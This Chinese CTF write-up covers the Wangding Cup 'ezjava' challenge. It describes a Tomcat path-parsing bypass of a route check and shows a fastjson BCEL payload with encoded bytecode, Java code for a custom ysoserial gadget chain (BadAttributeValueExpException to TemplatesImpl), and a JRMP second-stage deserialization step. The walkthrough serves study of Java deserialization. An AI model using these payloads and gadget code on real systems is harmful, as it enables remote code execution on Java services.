网鼎杯ezjava利用分析

admin 2023年3月12日15:36:13网鼎杯ezjava利用分析已关闭评论44 views字数 5248阅读17分29秒阅读模式

题目下载下来看源码是只有一个EvilController控制器,获取base参数值然后base64解码后带入readObject,很明显的一个反序列化

网鼎杯ezjava利用分析

这里首先是一个url解析绕过的考点,这个反序列化点匹配的路由是/Evil ,但是在方法里又用getRequestURI方法获得路径后用startWith判断是否是/Evil开头,是的话就直接return nonono

给了docker镜像,看了一眼jdk版本是8u71,服务器tomcat,那么就是一个很简单的tomcat的解析漏洞

直接访问/Evil是返回nonono

网鼎杯ezjava利用分析

只要多加一个/就可以绕过了,其他的url编码或者用/a/../Evil这样跳目录也都是可以绕过的

这里报500是后面readObject反序列化时候的报错,没有返回nonono就代表绕过了

网鼎杯ezjava利用分析

这个考点->使用getRequestURI或者getRequestURL获得路由路径然后做匹配校验导致的漏洞在平时的Java代码审计中非常常见,是变授权漏洞为未授权漏洞的利器

然后接下来的思路就是看lib里面有什么可用的链,这是全部lib

网鼎杯ezjava利用分析

可以看到是没有常见的commons-beanutils和commons-collections之类的的,但是有spring的一些jar,是不是可以用ysoserial中的spring1和spring2链呢,首先这里是队友告诉我他用spring1和spring2都打不了,然后我平时也没有用过这两个链打过,就用ysoserial在本地试了一下,发现报错了,我本地的环境是8u201

网鼎杯ezjava利用分析

这个报错结合docker环境中jdk8u71这个版本让我一下就意识到了应该是jdk版本太高的问题,因为这个报错其实就是CommonsCollections1和CommonsCollections3在jdk8u71以上的报错,根本原因是因为AnnotationInvocationHandler这个类的代码在jdk8u71发生了变化

这是Spring1的调用链

网鼎杯ezjava利用分析

这是cc1的调用链

网鼎杯ezjava利用分析

都是从AnnotationInvocationHandler.invoke()到xxMap.get(), jdk代码修改以后在AnnotationInvocationHandler.invoke()中对xxMap.get()的调用已经变成了固定的LinkedHashMap,没办法再自己控制从而进入后续流程,然后我用了一下午企图绕过这个限制,发现无法绕过

比赛结束后得到了一个正确解法,并不是绕过Spring链,而是使用了fastjson这个包

首先回顾一下fastjson反序列化中的bcel链(针对Json.parse()):

{
    {
         "@type": "com.alibaba.fastjson.JSONObject",
         "aaa":{
                 "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                 "driverClassLoader": {
                     "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                 "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
    }: "xxx"
 }

这个bcel链的原理和常规的fastjson payload不同,JsonObject作为Map的子类,此处

{
         "@type": "com.alibaba.fastjson.JSONObject",
         "aaa":{
                 "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                 "driverClassLoader": {
                     "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                 "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
 }

这个部分是一个JSONObject对象,是map中的key,后面的xxx是value。

接着在DefaultJSONParser.parseObject对key调用toString方法

网鼎杯ezjava利用分析

在toString接着调用toJsonString ,在toJsonString中使用ASM生成内存字节码然后调用所有getter,毕竟执行toString()就意味着将当前对象转为字符串形式,也就会提取类中所有Field,自然会执行相应的getter方法。

这个payload的写法是为了绕过Json.parse无法执行所有getter,如果是Json.parseObject就不需要这样key-value来写

那么我们就知道了存在toString->toJsonString->getter 这样的一段调用链,而从CommonsCollections5链中可以知道存在BadAttributeValueExpException类的readObject会触发传入对象的toString方法,又从jdk7u21链知道TemplatesImpl类中存在getOutputProperties可以加载任意字节码达到执行任意命令的效果,那么最终的序列化代码就呼之欲出了

public class Fastjson extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
@Override
public BadAttributeValueExpException getObject(String command) throws
Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
JSONObject jo = new JSONObject();
jo.put("oops",templatesImpl);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, jo);
return val;
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Fastjson.class, args);
}
}

就是把BadAttributeValueExpException的val属性设置为一个JSONObject对象,这个JSONObject对象的value为TemplatesImpl类,就可以触发getOutputProperties

执行时调用堆栈如下:

网鼎杯ezjava利用分析

可用的链找到了,但是这里还有一个新的问题,直接用生成的payload来打报错找不到fastjson的JSONObject类

网鼎杯ezjava利用分析

原因是前面题目代码中的EInputStream类中的重写的resoveClass方法会设置类加载器为BootStrap ClassLoader也就是启动类加载器,因此无法加载第三方了类而只能加载jdk自带的类

网鼎杯ezjava利用分析

这个倒是很好解决,用jrmpclient二次反序列化即可

JRMPClient生成payload

网鼎杯ezjava利用分析

JRMPListener 监听2333端口选择Fastjson利用链即可成功执行命令**

网鼎杯ezjava利用分析

网鼎杯ezjava利用分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日15:36:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网鼎杯ezjava利用分析https://cn-sec.com/archives/1599516.html